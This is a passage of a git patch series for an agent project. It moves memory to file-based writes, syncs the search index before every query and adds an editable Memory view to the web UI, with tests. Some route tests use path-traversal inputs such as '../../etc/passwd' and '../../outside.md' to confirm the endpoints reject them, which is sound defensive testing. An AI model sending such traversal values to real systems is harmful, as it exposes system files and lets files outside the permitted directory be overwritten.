prompt_tool_names=("memory_search", "read"), + prompt_tool_names=( + "edit", + "glob", + "grep", + "memory_search", + "read", + "write", + ), memory_bootstrap_data=runner._memory_bootstrap_data, ) @@ -1040,7 +1055,7 @@ async def test_build_system_prompts_does_not_add_bash_guidance_prompt_when_bash_ assert "PowerShell syntax" not in combined @pytest.mark.asyncio - async def test_build_system_prompts_skips_memory_guidance_without_memory_tools(self): + async def test_build_system_prompts_skips_memory_guidance_without_management_tools(self): session = _make_session("ses_prompts_no_memory_guidance") runner = SessionRunner( session=session, @@ -1075,7 +1090,7 @@ async def test_build_system_prompts_skips_memory_guidance_without_memory_tools(s assert "## MEMORY.md\n\nremembered context" in prompts @pytest.mark.asyncio - async def test_build_system_prompts_rebuilds_when_prompt_tool_names_change(self): + async def test_filesystem_memory_guidance_depends_on_tool_names(self): shared_cache = {} session = _make_session("ses_prompts_tool_names") runner = SessionRunner( @@ -1104,7 +1119,14 @@ async def test_build_system_prompts_rebuilds_when_prompt_tool_names_change(self) agent_prompt=agent.prompt, provider_id=runner.provider_id, model_id=runner.model_id, - prompt_tool_names=("memory_search", "read"), + prompt_tool_names=( + "edit", + "glob", + "grep", + "memory_search", + "read", + "write", + ), tool_revision=1, memory_bootstrap_data=runner._memory_bootstrap_data, static_cache=shared_cache, diff --git a/tests/tool/test_agent_toolset.py b/tests/tool/test_agent_toolset.py index 869b8daa0..1f979d3a7 100644 --- a/tests/tool/test_agent_toolset.py +++ b/tests/tool/test_agent_toolset.py @@ -125,7 +125,6 @@ def test_builtin_agent_yaml_tool_names_match_current_registry_surface() -> None: "oracle", "plan", "rex_junior", - "self_enhance", ): agent_yaml = agent_root / agent_name / "agent.yaml" if not agent_yaml.exists(): diff --git a/tests/tool/test_memory_file_write.py b/tests/tool/test_memory_file_write.py new file mode 100644 index 000000000..3ae408d40 --- /dev/null +++ b/tests/tool/test_memory_file_write.py @@ -0,0 +1,157 @@ +"""Tests for filesystem-managed Memory writes.""" + +from pathlib import Path +from unittest.mock import patch + +import pytest + +from flocks.tool.file.write import ( + _existing_memory_write_error, + write_tool, +) +from flocks.tool.file.edit import edit_tool +from flocks.tool.registry import ToolContext, ToolRegistry + + +def test_memory_crud_tool_is_not_registered() -> None: + tools = {tool.name for tool in ToolRegistry.list_tools()} + + assert "memory" not in tools + assert "memory_search" in tools + + +@pytest.mark.parametrize( + "relative_path", + [ + "MEMORY.md", + "USER.md", + "projects/prj_test/MEMORY.md", + ], +) +def test_existing_memory_files_require_edit( + tmp_path: Path, + relative_path: str, +) -> None: + memory_path = tmp_path / "memory" / relative_path + memory_path.parent.mkdir(parents=True, exist_ok=True) + memory_path.write_text("existing\n", encoding="utf-8") + + with patch("flocks.config.Config.get_data_path", return_value=tmp_path): + error = _existing_memory_write_error(str(memory_path)) + + assert error is not None + assert "use edit for a precise change" in error + + +@pytest.mark.parametrize("exists", [False, True]) +def test_daily_memory_rejects_agent_write( + tmp_path: Path, + exists: bool, +) -> None: + memory_path = tmp_path / "memory" / "daily" / "2026-07-29.md" + if exists: + memory_path.parent.mkdir(parents=True, exist_ok=True) + memory_path.write_text("existing\n", encoding="utf-8") + + with patch("flocks.config.Config.get_data_path", return_value=tmp_path): + error = _existing_memory_write_error(str(memory_path)) + + assert error is not None + assert "Session lifecycle" in error + assert "cannot write or edit" in error + + +def test_non_memory_file_is_not_protected_from_write(tmp_path: Path) -> None: + file_path = tmp_path / "notes.md" + file_path.write_text("existing\n", encoding="utf-8") + + with patch("flocks.config.Config.get_data_path", return_value=tmp_path): + error = _existing_memory_write_error(str(file_path)) + + assert error is None + + +@pytest.mark.asyncio +async def test_write_can_create_missing_memory_file(tmp_path: Path) -> None: + memory_path = tmp_path / "memory" / "MEMORY.md" + + async def approve(_request) -> None: + return None + + ctx = ToolContext( + session_id="ses_test", + message_id="msg_test", + permission_callback=approve, + ) + with patch("flocks.config.Config.get_data_path", return_value=tmp_path): + result = await write_tool( + ctx, + content="# Global Memory\n", + filePath=str(memory_path), + ) + + assert result.success is True + assert memory_path.read_text(encoding="utf-8") == "# Global Memory\n" + + +@pytest.mark.asyncio +async def test_write_rejects_existing_memory_before_permission( + tmp_path: Path, +) -> None: + memory_path = tmp_path / "memory" / "MEMORY.md" + memory_path.parent.mkdir(parents=True) + memory_path.write_text("existing\n", encoding="utf-8") + permission_requested = False + + async def approve(_request) -> None: + nonlocal permission_requested + permission_requested = True + + ctx = ToolContext( + session_id="ses_test", + message_id="msg_test", + permission_callback=approve, + ) + with patch("flocks.config.Config.get_data_path", return_value=tmp_path): + result = await write_tool( + ctx, + content="replacement\n", + filePath=str(memory_path), + ) + + assert result.success is False + assert "use edit for a precise change" in (result.error or "") + assert memory_path.read_text(encoding="utf-8") == "existing\n" + assert permission_requested is False + + +@pytest.mark.asyncio +async def test_edit_rejects_daily_memory_before_permission( + tmp_path: Path, +) -> None: + memory_path = tmp_path / "memory" / "daily" / "2026-07-29.md" + memory_path.parent.mkdir(parents=True) + memory_path.write_text("existing\n", encoding="utf-8") + permission_requested = False + + async def approve(_request) -> None: + nonlocal permission_requested + permission_requested = True + + ctx = ToolContext( + session_id="ses_test", + message_id="msg_test", + permission_callback=approve, + ) + with patch("flocks.config.Config.get_data_path", return_value=tmp_path): + result = await edit_tool( + ctx, + filePath=str(memory_path), + oldString="existing", + newString="replacement", + ) + + assert result.success is False + assert "Session lifecycle" in (result.error or "") + assert memory_path.read_text(encoding="utf-8") == "existing\n" + assert permission_requested is False diff --git a/tests/tool/test_tool_catalog.py b/tests/tool/test_tool_catalog.py index 0ded9c667..29bb3ee87 100644 --- a/tests/tool/test_tool_catalog.py +++ b/tests/tool/test_tool_catalog.py @@ -52,6 +52,8 @@ def test_catalog_marks_tool_search_as_always_load() -> None: def test_catalog_uses_real_builtin_tool_names_for_metadata_keys() -> None: assert "read_file" not in TOOL_TAGS + assert "memory_get" not in TOOL_TAGS + assert "memory_write" not in TOOL_TAGS assert "memory" not in TOOL_TAGS assert "model_config" not in TOOL_TAGS assert "slash_command" not in TOOL_TAGS @@ -61,8 +63,6 @@ def test_catalog_uses_real_builtin_tool_names_for_metadata_keys() -> None: "lsp", "todo", "memory_search", - "memory_get", - "memory_write", "list_providers", "add_provider", "add_model", diff --git a/webui/src/api/hooks.ts b/webui/src/api/hooks.ts index 04441d731..f8dfe0d66 100644 --- a/webui/src/api/hooks.ts +++ b/webui/src/api/hooks.ts @@ -17,12 +17,6 @@ export interface HookStats { export interface HookStatus { enabled: boolean; - session_memory: { - enabled: boolean; - message_count: number; - use_llm_slug: boolean; - slug_timeout: number; - }; stats: HookStats; error?: string; } diff --git a/webui/src/components/hooks/HookStatus.tsx b/webui/src/components/hooks/HookStatus.tsx index 57cb84d83..53be70b36 100644 --- a/webui/src/components/hooks/HookStatus.tsx +++ b/webui/src/components/hooks/HookStatus.tsx @@ -6,7 +6,7 @@ import { useTranslation } from 'react-i18next'; import { useHooks } from '@/hooks/useHooks'; -import { Rocket, CheckCircle, XCircle, Info, Activity } from 'lucide-react'; +import { Rocket, CheckCircle, XCircle, Activity } from 'lucide-react'; import LoadingSpinner from '@/components/common/LoadingSpinner'; export default function HookStatus() { @@ -88,61 +88,6 @@ export default function HookStatus() {
- {/* Session Memory Hook */} -
-
-

Session Memory Hook

- - {status.session_memory.enabled ? t('hookStatus.enabled') : t('hookStatus.disabled')} - -
- -
-
- -
- {status.session_memory.enabled ? ( - - ) : ( - - )} - {status.session_memory.enabled ? t('hookStatus.yes') : t('hookStatus.no')} -
-
- -
- -

{status.session_memory.message_count} {t('hookStatus.messageCountLabel')}

-
- -
- -

{status.session_memory.use_llm_slug ? t('hookStatus.yes') : t('hookStatus.no')}

-
- -
- -

{status.session_memory.slug_timeout} {t('hookStatus.slugTimeoutLabel')}

-
-
- - {status.session_memory.enabled && ( -
- -
-

{t('hookStatus.autoSaveEnabled')}

-

- {t('hookStatus.autoSaveDesc')} -

-
-
- )} -
- {/* Registered Hooks */} {status.stats.total_handlers > 0 && (
diff --git a/webui/src/hooks/useHooks.test.tsx b/webui/src/hooks/useHooks.test.tsx index bf21b6e18..4d5ea74f1 100644 --- a/webui/src/hooks/useHooks.test.tsx +++ b/webui/src/hooks/useHooks.test.tsx @@ -16,12 +16,6 @@ vi.mock('@/api/hooks', () => ({ function makeHookStatus(overrides: Record = {}) { return { enabled: true, - session_memory: { - enabled: true, - message_count: 3, - use_llm_slug: false, - slug_timeout: 10, - }, stats: { total_event_keys: 2, total_handlers: 4, diff --git a/webui/src/locales/en-US/common.json b/webui/src/locales/en-US/common.json index 94d7ab996..64d34aa41 100644 --- a/webui/src/locales/en-US/common.json +++ b/webui/src/locales/en-US/common.json @@ -285,18 +285,6 @@ "disabled": "Disabled", "totalHandlers": "Total Handlers", "eventKeys": "Event Keys", - "autoSave": "Auto Save", - "autoSaveLabel": "Auto-save when creating new session", - "messageCount": "Message Count", - "messageCountLabel": "messages", - "useLlmSlug": "LLM Filename", - "useLlmSlugLabel": "Use LLM to generate filename", - "yes": "Yes", - "no": "No", - "slugTimeout": "Timeout", - "slugTimeoutLabel": "seconds", - "autoSaveEnabled": "Auto-save is enabled", - "autoSaveDesc": "When you create a new session (similar to /new command), the previous session's conversation will be automatically saved to the memory system.", "registeredHooks": "Registered Hooks", "handlers": "handlers" } diff --git a/webui/src/locales/zh-CN/common.json b/webui/src/locales/zh-CN/common.json index 421f74016..c5fee2597 100644 --- a/webui/src/locales/zh-CN/common.json +++ b/webui/src/locales/zh-CN/common.json @@ -285,18 +285,6 @@ "disabled": "已禁用", "totalHandlers": "处理器总数", "eventKeys": "事件键数量", - "autoSave": "自动保存", - "autoSaveLabel": "创建新会话时自动保存", - "messageCount": "保存消息数量", - "messageCountLabel": "条", - "useLlmSlug": "LLM 生成文件名", - "useLlmSlugLabel": "使用 LLM 生成文件名", - "yes": "是", - "no": "否", - "slugTimeout": "超时时间", - "slugTimeoutLabel": "秒", - "autoSaveEnabled": "自动保存已启用", - "autoSaveDesc": "当您创建新会话时（类似 /new 命令），上一个会话的对话将自动保存到记忆系统中。", "registeredHooks": "已注册的 Hooks", "handlers": "个处理器" } From 15d51ddf3f3fc9a6e47078025428bd8a4668ebb4 Mon Sep 17 00:00:00 2001 From: xiami762 <> Date: Mon, 3 Aug 2026 11:32:09 +0800 Subject: [PATCH 12/67] fix(memory): sync index before every search --- flocks/memory/config.py | 2 +- flocks/memory/manager.py | 6 ++-- tests/memory/test_memory_search_sync.py | 48 +++++++++++++++++++++++++ 3 files changed, 53 insertions(+), 3 deletions(-) create mode 100644 tests/memory/test_memory_search_sync.py diff --git a/flocks/memory/config.py b/flocks/memory/config.py index 7d349862a..8e1815690 100644 --- a/flocks/memory/config.py +++ b/flocks/memory/config.py @@ -64,7 +64,7 @@ class MemorySyncConfig(BaseModel): ) on_search: bool = Field( True, - description="Sync before search if dirty" + description="Run incremental sync before every search" ) watch: bool = Field( True, diff --git a/flocks/memory/manager.py b/flocks/memory/manager.py index 2f1857faa..19567fba1 100644 --- a/flocks/memory/manager.py +++ b/flocks/memory/manager.py @@ -225,8 +225,10 @@ async def search( if not self._initialized: await self.initialize() - # Trigger sync if configured and dirty - if self.config.sync.on_search and self._dirty: + # File-backed Memory may be changed by file tools, lifecycle writers, + # or external processes that cannot mark this manager dirty. Run the + # incremental sync before every search so the index remains current. + if self.config.sync.on_search: await self.sync(reason="search") # Execute search diff --git a/tests/memory/test_memory_search_sync.py b/tests/memory/test_memory_search_sync.py new file mode 100644 index 000000000..9d9557c7a --- /dev/null +++ b/tests/memory/test_memory_search_sync.py @@ -0,0 +1,48 @@ +"""Tests for keeping the Memory search index fresh.""" + +from unittest.mock import AsyncMock + +import pytest + +from flocks.memory.config import MemoryConfig +from flocks.memory.manager import MemoryManager + + +@pytest.mark.asyncio +async def test_search_syncs_before_query_when_on_search_enabled(tmp_path) -> None: + """Search must discover Memory files changed outside MemoryManager.""" + manager = MemoryManager( + project_id="prj_test", + workspace_dir=str(tmp_path), + config=MemoryConfig(), + ) + manager._initialized = True + manager.search_engine = AsyncMock() + manager.search_engine.search.return_value = [] + manager.sync = AsyncMock() + + await manager.search(query="updated preference") + + manager.sync.assert_awaited_once_with(reason="search") + manager.search_engine.search.assert_awaited_once() + + +@pytest.mark.asyncio +async def test_search_skips_sync_when_on_search_disabled(tmp_path) -> None: + """The explicit on_search configuration remains authoritative.""" + config = MemoryConfig() + config.sync.on_search = False + manager = MemoryManager( + project_id="prj_test", + workspace_dir=str(tmp_path), + config=config, + ) + manager._initialized = True + manager.search_engine = AsyncMock() + manager.search_engine.search.return_value = [] + manager.sync = AsyncMock() + + await manager.search(query="updated preference") + + manager.sync.assert_not_awaited() + manager.search_engine.search.assert_awaited_once() From bfc9119e8387bfec0a5fa82647094ce23038469a Mon Sep 17 00:00:00 2001 From: xiami762 <> Date: Mon, 3 Aug 2026 14:19:23 +0800 Subject: [PATCH 13/67] feat(workspace): organize and edit memory files --- flocks/server/routes/workspace.py | 76 ++++-- tests/workspace/test_workspace_routes.py | 74 ++++-- webui/src/api/workspace.ts | 16 +- webui/src/locales/en-US/workspace.json | 2 +- webui/src/locales/zh-CN/workspace.json | 2 +- webui/src/pages/Workspace/index.test.tsx | 134 +++++++++-- webui/src/pages/Workspace/index.tsx | 282 ++++++++++++++++++++--- 7 files changed, 505 insertions(+), 81 deletions(-) diff --git a/flocks/server/routes/workspace.py b/flocks/server/routes/workspace.py index 642e56ce4..197f03242 100644 --- a/flocks/server/routes/workspace.py +++ b/flocks/server/routes/workspace.py @@ -570,24 +570,52 @@ async def reveal_item(body: RevealRequest): return {"path": body.path, "opened": True, "target": target_type, "mode": mode} -# ─── memory view (read-only) ──────────────────────────────────────────────── +# ─── memory files ────────────────────────────────────────────────────────── + +_MEMORY_ROOT_ORDER = { + "USER.md": 0, + "MEMORY.md": 1, + "projects": 2, + "daily": 3, +} + + +def _memory_child_sort_key(path: Path) -> tuple[int, str]: + """Sort directories before files, then use a stable case-insensitive name.""" + return (0 if path.is_dir() else 1, path.name.casefold()) + + +def _build_memory_node_sync(path: Path, memory_dir: Path) -> WorkspaceNode: + """Build one recursive node for the Memory tree.""" + node = _node_from_path(path, memory_dir) + if node.type == "directory": + children = ( + child + for child in path.iterdir() + if not child.is_symlink() + ) + node.children = [ + _build_memory_node_sync(child, memory_dir) + for child in sorted(children, key=_memory_child_sort_key) + ] + return node + def _list_memory_sync(memory_dir: Path) -> List[WorkspaceNode]: - """Blocking directory scan — call via asyncio.to_thread in async context.""" - nodes: List[WorkspaceNode] = [] - for item in sorted(memory_dir.rglob("*")): - if item.is_file(): - rel = str(item.relative_to(memory_dir)) - st = item.stat() - nodes.append(WorkspaceNode( - name=item.name, - path=rel, - type="file", - size=st.st_size, - modified_at=st.st_mtime, - is_text_file=WorkspaceManager.is_text_file(item), - )) - return nodes + """Build the USER/global/daily/project Memory hierarchy.""" + children = ( + child + for child in memory_dir.iterdir() + if not child.is_symlink() + ) + ordered = sorted( + children, + key=lambda child: ( + _MEMORY_ROOT_ORDER.get(child.name, len(_MEMORY_ROOT_ORDER)), + child.name.casefold(), + ), + ) + return [_build_memory_node_sync(child, memory_dir) for child in ordered] @router.get("/memory/list", response_model=List[WorkspaceNode], summary="List memory files") @@ -635,6 +663,22 @@ async def read_memory_file( } +@router.put("/memory/file", summary="Write memory file content") +async def write_memory_file(body: FileWriteRequest): + mgr = _get_manager() + try: + target = mgr.resolve_memory_path(body.path) + except ValueError as e: + raise HTTPException(status_code=400, detail=str(e)) + target.parent.mkdir(parents=True, exist_ok=True) + try: + target.write_text(body.content, encoding="utf-8") + except Exception as e: + raise HTTPException(status_code=500, detail=str(e)) + log.info("workspace.memory_file.written", {"path": body.path, "size": len(body.content)}) + return {"path": body.path, "written": True} + + @router.get("/memory/preview", summary="Preview single memory file inline") async def preview_memory_file( path: str = Query(..., description="Relative path inside memory directory"), diff --git a/tests/workspace/test_workspace_routes.py b/tests/workspace/test_workspace_routes.py index 03f09eea3..4740b0d50 100644 --- a/tests/workspace/test_workspace_routes.py +++ b/tests/workspace/test_workspace_routes.py @@ -9,7 +9,7 @@ Directory: GET /tree, GET /list, POST /dir, DELETE /dir File: POST /upload, GET /file, PUT /file, DELETE /file, GET /preview, GET /download, POST /download/zip, POST /move -Memory: GET /memory/list, GET /memory/file, GET /memory/preview, +Memory: GET /memory/list, GET/PUT /memory/file, GET /memory/preview, GET /memory/download Stats: GET /stats """ @@ -663,25 +663,48 @@ def test_reveal_traversal_rejected(self, workspace_client): assert r.status_code == 400 -# ─── Memory view (read-only) ───────────────────────────────────────────────── +# ─── Memory files ──────────────────────────────────────────────────────────── class TestMemoryView: - def test_list_memory_empty(self, workspace_client): + def test_list_memory_without_files_returns_empty_daily_tree(self, workspace_client): r = _client(workspace_client).get("/api/workspace/memory/list") assert r.status_code == 200 - assert r.json() == [] + assert len(r.json()) == 1 + daily = r.json()[0] + assert daily["path"] == "daily" + assert daily["type"] == "directory" + assert daily["children"] == [] def test_list_memory_with_files(self, workspace_client): mem = _mem(workspace_client) + (mem / "USER.md").write_text("# User") (mem / "MEMORY.md").write_text("# Memory") - (mem / "2026-03-14.md").write_text("## Daily") + (mem / "daily").mkdir() + (mem / "daily" / "2026-03-14.md").write_text("## Daily") + (mem / "projects" / "prj_example").mkdir(parents=True) + (mem / "projects" / "prj_example" / "MEMORY.md").write_text( + "# Project Memory" + ) + r = _client(workspace_client).get("/api/workspace/memory/list") + assert r.status_code == 200 - names = {n["name"] for n in r.json()} - assert {"MEMORY.md", "2026-03-14.md"}.issubset(names) - # All returned nodes should be text files - for node in r.json(): - assert node["is_text_file"] is True + assert [node["name"] for node in r.json()] == [ + "USER.md", + "MEMORY.md", + "projects", + "daily", + ] + nodes = {node["name"]: node for node in r.json()} + assert set(nodes) == {"USER.md", "MEMORY.md", "daily", "projects"} + assert nodes["USER.md"]["type"] == "file" + assert nodes["MEMORY.md"]["type"] == "file" + assert nodes["daily"]["type"] == "directory" + assert nodes["daily"]["children"][0]["path"] == "daily/2026-03-14.md" + assert nodes["projects"]["type"] == "directory" + project = nodes["projects"]["children"][0] + assert project["path"] == "projects/prj_example" + assert project["children"][0]["path"] == "projects/prj_example/MEMORY.md" def test_read_memory_file(self, workspace_client): mem = _mem(workspace_client) @@ -762,13 +785,36 @@ def test_memory_preview_traversal_rejected(self, workspace_client): r = _client(workspace_client).get("/api/workspace/memory/preview?path=../../etc/passwd") assert r.status_code == 400 - def test_memory_write_not_allowed(self, workspace_client): - """Memory directory has no write endpoint — PUT /file with memory path is confined to workspace.""" - # Trying to write to memory via workspace file endpoint should be rejected - # because memory dir is outside workspace dir + def test_workspace_write_cannot_escape_to_memory(self, workspace_client): + """The workspace write endpoint remains confined to the workspace.""" mem_path_attempt = "../data/memory/MEMORY.md" r = _client(workspace_client).put( "/api/workspace/file", json={"path": mem_path_attempt, "content": "hacked"}, ) assert r.status_code == 400 + + def test_write_memory_file(self, workspace_client): + mem = _mem(workspace_client) + (mem / "daily").mkdir(exist_ok=True) + target = mem / "daily" / "2026-03-14.md" + target.write_text("old content") + + r = _client(workspace_client).put( + "/api/workspace/memory/file", + json={"path": "daily/2026-03-14.md", "content": "new content"}, + ) + + assert r.status_code == 200 + assert r.json() == { + "path": "daily/2026-03-14.md", + "written": True, + } + assert target.read_text() == "new content" + + def test_write_memory_traversal_rejected(self, workspace_client): + r = _client(workspace_client).put( + "/api/workspace/memory/file", + json={"path": "../../outside.md", "content": "hacked"}, + ) + assert r.status_code == 400 diff --git a/webui/src/api/workspace.ts b/webui/src/api/workspace.ts index f346cca9b..79edf843a 100644 --- a/webui/src/api/workspace.ts +++ b/webui/src/api/workspace.ts @@ -10,6 +10,14 @@ export interface WorkspaceNode { modified_at?: number; is_text_file?: boolean; children?: WorkspaceNode[]; + project_name?: string; + project_worktree?: string; +} + +export interface WorkspaceProject { + id: string; + name?: string | null; + worktree: string; } export interface WorkspaceStats { @@ -104,13 +112,19 @@ export const workspaceAPI = { { path }, ), - // Memory (read-only) + // Memory listMemory: () => client.get('/api/workspace/memory/list'), + listVisibleProjects: () => + client.get('/api/project'), + readMemoryFile: (path: string) => client.get('/api/workspace/memory/file', { params: { path } }), + writeMemoryFile: (path: string, content: string) => + client.put<{ path: string; written: boolean }>('/api/workspace/memory/file', { path, content }), + memoryDownloadUrl: (path: string) => `${client.defaults.baseURL ?? ''}/api/workspace/memory/download?path=${encodeURIComponent(path)}`, diff --git a/webui/src/locales/en-US/workspace.json b/webui/src/locales/en-US/workspace.json index 963113209..1301f2847 100644 --- a/webui/src/locales/en-US/workspace.json +++ b/webui/src/locales/en-US/workspace.json @@ -77,7 +77,7 @@ "retry": "Retry", "noFiles": "No memory files", "noMatch": "No matching results", - "readOnly": "Read-only · Written by agents", + "fileCount": "{{count}} files", "readFailed": "Read failed", "selectPrompt": "Select a file on the left to preview", "selectDesc": "Memory files are written automatically by agents like Rex to record task context and key information", diff --git a/webui/src/locales/zh-CN/workspace.json b/webui/src/locales/zh-CN/workspace.json index ecffb9da8..7ebc6bb09 100644 --- a/webui/src/locales/zh-CN/workspace.json +++ b/webui/src/locales/zh-CN/workspace.json @@ -77,7 +77,7 @@ "retry": "重试", "noFiles": "暂无记忆文件", "noMatch": "无匹配结果", - "readOnly": "只读 · 由 Agent 自动写入", + "fileCount": "{{count}} 个文件", "readFailed": "读取失败", "selectPrompt": "选择左侧文件以预览内容", "selectDesc": "记忆文件由 Rex 等 Agent 自动写入，记录任务上下文与关键信息", diff --git a/webui/src/pages/Workspace/index.test.tsx b/webui/src/pages/Workspace/index.test.tsx index f13ad052d..aa3d03005 100644 --- a/webui/src/pages/Workspace/index.test.tsx +++ b/webui/src/pages/Workspace/index.test.tsx @@ -15,7 +15,9 @@ const mocks = vi.hoisted(() => ({ createDir: vi.fn(), reveal: vi.fn(), listMemory: vi.fn(), + listVisibleProjects: vi.fn(), readMemoryFile: vi.fn(), + writeMemoryFile: vi.fn(), confirm: vi.fn(), toastSuccess: vi.fn(), toastError: vi.fn(), @@ -95,6 +97,8 @@ const translations: Record = { 'files.toast.deleteSuccess': 'Deleted', 'files.toast.deleteFailed': 'Delete failed', 'files.toast.loadDirFailed': 'Load directory failed', + 'files.toast.saveSuccess': 'Saved successfully', + 'files.toast.saveFailed': 'Failed to save', }; vi.mock('react-i18next', () => ({ @@ -172,7 +176,9 @@ vi.mock('@/api/workspace', async () => { createDir: mocks.createDir, reveal: mocks.reveal, listMemory: mocks.listMemory, + listVisibleProjects: mocks.listVisibleProjects, readMemoryFile: mocks.readMemoryFile, + writeMemoryFile: mocks.writeMemoryFile, downloadUrl: (path: string) => `/api/workspace/download?path=${encodeURIComponent(path)}`, previewUrl: (path: string) => `/api/workspace/preview?path=${encodeURIComponent(path)}`, memoryDownloadUrl: (path: string) => `/api/workspace/memory/download?path=${encodeURIComponent(path)}`, @@ -213,7 +219,9 @@ describe('WorkspacePage', () => { mocks.createDir.mockResolvedValue({ data: { created: true } }); mocks.reveal.mockResolvedValue({ data: { opened: true } }); mocks.listMemory.mockResolvedValue({ data: [] }); + mocks.listVisibleProjects.mockResolvedValue({ data: [] }); mocks.readMemoryFile.mockResolvedValue({ data: { content: '' } }); + mocks.writeMemoryFile.mockResolvedValue({ data: { written: true } }); mocks.confirm.mockResolvedValue(true); }); @@ -403,39 +411,125 @@ describe('WorkspacePage', () => { expect(screen.getAllByRole('heading', { name: 'Memory' })).toHaveLength(2); }); - it('Memory PDF 文件使用 memory inline preview 地址展示', async () => { + it('Memory Daily 文件复用编辑器并保存到 Memory API', async () => { mocks.listMemory.mockResolvedValue({ - data: [file('profile.pdf', 'nested/profile.pdf', false)], + data: [{ + ...directory('daily', 'daily'), + children: [file('2026-08-03.md', 'daily/2026-08-03.md')], + }], + }); + mocks.readMemoryFile.mockResolvedValue({ + data: { + path: 'daily/2026-08-03.md', + content: '# Daily\n\nOld content', + truncated: false, + }, }); const user = userEvent.setup(); renderWithRouter(); await user.click(screen.getByRole('button', { name: 'Memory' })); - await user.click(await screen.findByText('profile.pdf')); + await user.click(await screen.findByText('daily')); + await user.click(await screen.findByText('2026-08-03.md')); + await user.click(await screen.findByTitle('Edit')); + + const editor = screen.getAllByRole('textbox').find( + (element) => element.tagName === 'TEXTAREA', + ); + expect(editor).toHaveValue('# Daily\n\nOld content'); + if (!editor) throw new Error('Memory editor not found'); + await user.clear(editor); + await user.type(editor, '# Daily\n\nUpdated content'); + await user.click(screen.getByTitle('Save')); await waitFor(() => { - expect(pdfMocks.getDocument).toHaveBeenCalledWith({ - url: '/api/workspace/memory/preview?path=nested%2Fprofile.pdf', - withCredentials: true, - }); + expect(mocks.writeMemoryFile).toHaveBeenCalledWith( + 'daily/2026-08-03.md', + '# Daily\n\nUpdated content', + ); }); - expect(mocks.readMemoryFile).not.toHaveBeenCalled(); + expect(mocks.toastSuccess).toHaveBeenCalledWith('Saved successfully'); }); - it('Memory SVG 文件使用图片预览展示', async () => { + it('Memory 文件按 USER、Global、Project 和 Daily 层级展示', async () => { + mocks.listVisibleProjects.mockResolvedValue({ + data: [{ + id: 'prj_example', + name: 'Flocks Raven', + worktree: '/Users/test/workspace/flocks-raven', + }], + }); mocks.listMemory.mockResolvedValue({ - data: [file('logo.svg', 'icons/logo.svg', false)], + data: [ + file('USER.md', 'USER.md'), + file('MEMORY.md', 'MEMORY.md'), + file('2026-04-07.md', '2026-04-07.md'), + file('test.md', 'test.md'), + { + ...directory('daily', 'daily'), + children: [file('2026-08-03.md', 'daily/2026-08-03.md')], + }, + { + ...directory('projects', 'projects'), + children: [{ + ...directory('prj_example', 'projects/prj_example'), + children: [file('MEMORY.md', 'projects/prj_example/MEMORY.md')], + }, { + ...directory('prj_stale', 'projects/prj_stale'), + children: [file('MEMORY.md', 'projects/prj_stale/MEMORY.md')], + }], + }, + ], }); const user = userEvent.setup(); renderWithRouter(); await user.click(screen.getByRole('button', { name: 'Memory' })); - await user.click(await screen.findByText('logo.svg')); + expect(await screen.findByText('USER.md')).toBeInTheDocument(); + expect(screen.getByText('MEMORY.md')).toBeInTheDocument(); + const projectMemory = screen.getByText('Flocks Raven / MEMORY.md'); + const daily = screen.getByText('daily'); + expect(projectMemory).toBeInTheDocument(); + expect(screen.queryByText('/Users/test/workspace/flocks-raven')).not.toBeInTheDocument(); + expect(daily).toBeInTheDocument(); + expect(screen.queryByText('projects')).not.toBeInTheDocument(); + expect(screen.queryByText('prj_stale/MEMORY.md')).not.toBeInTheDocument(); + expect(screen.queryByText('2026-04-07.md')).not.toBeInTheDocument(); + expect(screen.queryByText('test.md')).not.toBeInTheDocument(); + expect( + projectMemory.compareDocumentPosition(daily) & Node.DOCUMENT_POSITION_FOLLOWING, + ).toBeTruthy(); + expect(screen.queryByText('2026-08-03.md')).not.toBeInTheDocument(); + + await user.click(projectMemory); + expect(await screen.findByText('/Users/test/workspace/flocks-raven')).toBeInTheDocument(); + + await user.click(screen.getByRole('button', { name: /daily/ })); + expect(await screen.findByText('2026-08-03.md')).toBeInTheDocument(); + }); - const image = await screen.findByRole('img', { name: 'logo.svg' }); - expect(image).toHaveAttribute('src', '/api/workspace/memory/preview?path=icons%2Flogo.svg'); + it('Memory 根目录的非规范文件不显示', async () => { + mocks.listMemory.mockResolvedValue({ + data: [ + file('profile.pdf', 'profile.pdf', false), + file('logo.svg', 'logo.svg', false), + file('legacy.md', 'legacy.md'), + ], + }); + + const user = userEvent.setup(); + renderWithRouter(); + + await user.click(screen.getByRole('button', { name: 'Memory' })); + await waitFor(() => { + expect(mocks.listMemory).toHaveBeenCalled(); + }); + expect(screen.queryByText('profile.pdf')).not.toBeInTheDocument(); + expect(screen.queryByText('logo.svg')).not.toBeInTheDocument(); + expect(screen.queryByText('legacy.md')).not.toBeInTheDocument(); + expect(pdfMocks.getDocument).not.toHaveBeenCalled(); expect(mocks.readMemoryFile).not.toHaveBeenCalled(); }); @@ -447,17 +541,17 @@ describe('WorkspacePage', () => { mocks.listMemory.mockResolvedValue({ data: [ - file('first.md', 'first.md'), - file('second.md', 'second.md'), + file('USER.md', 'USER.md'), + file('MEMORY.md', 'MEMORY.md'), ], }); mocks.readMemoryFile.mockImplementation((path: string) => { - if (path === 'first.md') { + if (path === 'USER.md') { return firstRead; } return Promise.resolve({ data: { - path: 'second.md', + path: 'MEMORY.md', content: '# Second', truncated: false, }, @@ -468,14 +562,14 @@ describe('WorkspacePage', () => { renderWithRouter(); await user.click(screen.getByRole('button', { name: 'Memory' })); - await user.click(await screen.findByText('first.md')); - await user.click(await screen.findByText('second.md')); + await user.click(await screen.findByText('USER.md')); + await user.click(await screen.findByText('MEMORY.md')); expect(await screen.findByRole('heading', { name: 'Second' })).toBeInTheDocument(); resolveFirst({ data: { - path: 'first.md', + path: 'USER.md', content: '# First', truncated: false, }, diff --git a/webui/src/pages/Workspace/index.tsx b/webui/src/pages/Workspace/index.tsx index 95d115dc7..42ebe481e 100644 --- a/webui/src/pages/Workspace/index.tsx +++ b/webui/src/pages/Workspace/index.tsx @@ -11,7 +11,7 @@ import LoadingSpinner from '@/components/common/LoadingSpinner'; import { useToast } from '@/components/common/Toast'; import { useConfirm } from '@/components/common/ConfirmDialog'; import { - workspaceAPI, WorkspaceNode, formatBytes, formatDate, fileIcon, + workspaceAPI, WorkspaceNode, WorkspaceProject, formatBytes, formatDate, fileIcon, } from '@/api/workspace'; // ─── Types ──────────────────────────────────────────────────────────────── @@ -1569,10 +1569,153 @@ function FilesTab() { type MemoryLoadState = 'idle' | 'loading' | 'error'; +function countMemoryFiles(nodes: WorkspaceNode[]): number { + return nodes.reduce((count, node) => ( + count + (node.type === 'file' ? 1 : countMemoryFiles(node.children ?? [])) + ), 0); +} + 